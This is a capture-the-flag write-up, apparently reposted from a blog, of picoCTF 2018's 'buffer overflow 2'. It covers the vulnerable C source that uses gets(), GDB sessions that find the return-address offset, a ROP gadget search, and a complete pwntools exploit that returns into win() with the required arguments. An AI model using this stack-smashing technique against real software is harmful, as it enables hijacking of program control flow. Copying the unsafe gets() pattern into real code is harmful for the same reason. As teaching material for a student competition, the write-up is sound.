Tags: c python pwn c  asm 

Rating:


### Pico CTF

Pico CTF is a competition for high school students that happens once a year, and even though it's for students I think there is a lot to be gained for doing some of these smaller challenges. That being said let's dive in and do some pwning.

### Analyzing The Source

Usually in these easier CTFs we are given the source code so we don't have to reverse to ASM.

```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}

void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

gid_t gid = getegid();
setresgid(gid, gid, gid);

puts("Please enter your string: ");
vuln();
return 0;
}

```

Looking at our vulnerable program we can see that we have a buffer of 100 bytes. Starting in the function main the program makes a call to *puts* to ask for a string and then calls the function *vuln*. The function vuln sets a buffer called *buf* to the size of our defined buffer at 100 bytes and then makes a call to *gets* accepting the buffer as a parameter and then writes the buffer to stdout. There is also a function defined at the top of the source called *win* which will be the function we want to overflow into. Win first checks to see if there is a local file called flag.txt. If the flag file exits it makes sure that *0XDEADBEEF* has been passed as arg1 to win and that *0xDEADC0DE* has been passed to win as arg2. We'll get back to this in a minute but for now lets take run the program through our debugger and play around a bit.

### Debugging The Program

For debugging we are going to use GDB with the gef extension installed. GDB is the gnu C/C++ debugger and gef is an extension written to add features for binary exploitation in GDB. There are other extensions that provide similar features to GDB but I recommend gef. You can get it [Here](https://github.com/hugsy/gef)

Lets go ahead and open up our program and run it.

```

root@pwn:~/CTF/pico# gdb -q vuln
GEF for linux ready, type `gef' to start, `gef config' to configure
70 commands loaded for GDB 7.11.1 using Python engine 3.5
Reading symbols from vuln...(no debugging symbols found)...done.
gef➤ r
Starting program: /root/CTF/pico/vuln
Please enter your string:

```
As expected the program asks for an input. We know that the buffer is 100 bytes so lets send it a large string of characters. 300 bytes should do for now.

```

gef➤ r
Starting program: /root/CTF/pico/vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x12d
$ebx : 0x0
$ecx : 0xffffffff
$edx : 0xf7fc8870 → 0x00000000
$esp : 0xffffd730 → "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp : 0x41414141 ("AAAA"?)
$esi : 0xf7fc7000 → 0x001b1db0
$edi : 0xf7fc7000 → 0x001b1db0
$eip : 0x41414141 ("AAAA"?)
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffd730│+0x00: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp
0xffffd734│+0x04: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd738│+0x08: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd73c│+0x0c: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd740│+0x10: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd744│+0x14: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd748│+0x18: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd74c│+0x1c: "b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "vuln", stopped, reason: SIGSEGV

```

Alright so we have a segfault. The program crashed and it looks like we do indeed control $eip. Lets find the offset the program crashed at. There are a couple of different ways to find the offset.
Metasploit's [Pattern Create](https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/pattern_create.rb) is personally my favorite but to keep things easy we are going to just use the built in gef functionality.

```
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
```

Now we take that pattern and rerun our program using this pattern to see where it crashes.

```

Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x12d
$ebx : 0x0
$ecx : 0xffffffff
$edx : 0xf7fc8870 → 0x00000000
$esp : 0xffffd730 → "b'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaab[...]"
$ebp : 0x62616163 ("caab"?)
$esi : 0xf7fc7000 → 0x001b1db0
$edi : 0xf7fc7000 → 0x001b1db0
$eip : 0x62616164 ("daab"?)
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffd730│+0x00: "b'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaab[...]" ← $esp
0xffffd734│+0x04: "b'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaab[...]"
0xffffd738│+0x08: "b'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraab[...]"
0xffffd73c│+0x0c: "b'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaab[...]"
0xffffd740│+0x10: "b'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaab[...]"
0xffffd744│+0x14: "b'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaab[...]"
0xffffd748│+0x18: "b'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaab[...]"
0xffffd74c│+0x1c: "b'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616164
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "vuln", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

So we get another crash as expected and we can see part of our pattern in $eip. Let's grab that offset.

```
gef➤ pattern search daab
[+] Searching 'daab'
[+] Found at offset 112 (big-endian search)
```

There it is! At 112 bytes we have our offset. Now that we have that we can overflow the vuln function with 112 bytes and pass the address of the win function. Lets make sure we are setup to do this. Let's feed the program a new pattern of 112 bytes and check $eip.

```

Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab

Program received signal SIGSEGV, Segmentation fault.
0x08048600 in win ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x71
$ebx : 0x0
$ecx : 0xffffffff
$edx : 0xf7fc8870 → 0x00000000
$esp : 0xffffd730 → 0x00000001
$ebp : 0x62616163 ("caab"?)
$esi : 0xf7fc7000 → 0x001b1db0
$edi : 0xf7fc7000 → 0x001b1db0
$eip : 0x8048600 → <win+53> in al, dx
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffd730│+0x00: 0x00000001 ← $esp
0xffffd734│+0x04: 0xffffd7f4 → 0xffffd904 → 0x6f6f722f
0xffffd738│+0x08: 0xffffd7fc → 0xffffd918 → 0x5353454c
0xffffd73c│+0x0c: 0x00000000
0xffffd740│+0x10: 0xf7fc73dc → 0xf7fc81e0 → 0x00000000
0xffffd744│+0x14: 0xffffd760 → 0x00000001
0xffffd748│+0x18: 0x00000000
0xffffd74c│+0x1c: 0xf7e2d637 → <__libc_start_main+247> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
→ 0x8048600 <win+53> in al, dx
0x8048601 <win+54> or al, 0x6a
0x8048603 <win+56> add al, ch
0x8048605 <win+58> addr16 (bad)
0x8048607 <win+60> (bad)
0x8048608 <win+61> inc DWORD PTR [ebx+0x75ff04ec]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "vuln", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048600 → Name: win()

```

Alright everything looks great. We can see that after passing 112 bytes we are now stepping into win stored in $eip. But EIP is stored at a 53 byte offset of win, lets grab the actual address of win itself.

```
gef➤ x/s win
0x80485cb <win>: "U\211\345\203\354X\203\354\bhP\207\004\bhR\207\004\b\350\275\376\377\377\203\304\020\211E\364\203", <incomplete sequence \364
```

Now that we have the address of win, looking at our code from earlier we can see that the win function requires us to pass two arguments: 0xDEADBEEF and 0xDEADC0DE. So we will overflow the buffer, return to the address of win, and pass our function arguments. The last thing we need to do to build our stack frame is to pass 4 bytes between the address of win and the arguments themselves for padding. An easy way to do this is a ret rop gadget which will just contain re. A quick way to find our ret gadget is ropper.

```
root@pwn:~/CTF/pico# ropper -f vuln
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
.......
......
.....
0x080483f6: ret;
```

Awesome. Let's build our exploit using pwntools.

### Pwning The Binary

```
""" Buffer Overflow 2 From Pico CTF 2018"""

from pwn import *
import sys
import os

def exploit(r):
payload = ''
payload += 'A'*112
payload += p32(0x80485cb) # Address of win;
payload += p32(0x080483f6) # Address of RET rop gadget
payload += p32(0xDEADBEEF) # Address of ARG 1
payload += p32(0xDEADC0DE) # Address of ARG 2
r.recvuntil(': \n')
r.sendline(payload)
r.interactive()
return

if __name__ == '__main__':
name = "./vuln"
binary = ELF(name)

context.terminal=["tmux", "sp", "-h"]
#context.log_level = 'DEBUG'

if len(sys.argv) > 1:
r = remote(HOST,PORT)

else:
r = process('./vuln', env={})

exploit(r)
```

So here we create a payload and first pass our offset of 112 bytes. Then we pass the address of win that vuln will return to. From there we pass our rop gadget of ret and then both required function arguments. The stuff in main just allows to to use remote or local exploitation. In this case the flag runs locally on the game server so we can just run it directly from the box. Because the win function just writes the flag to stdout we don't really need to pop a shell but I always do anyway. Now because I don't have access to the box anymore this isn't the real flag because I forgot to save it locally.

Running our exploit we get:

```
[*] '/root/CTF/pico/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './vuln': pid 386
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˅\x0ᆳ�����
PICO(THIS_IS_FLAG)
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 386)
[*] Got EOF while reading in interactive
$

```

And there we go. We got our flag!

Original writeup (https://fibonascii.com/picoctf-buffer-overflow-2.html).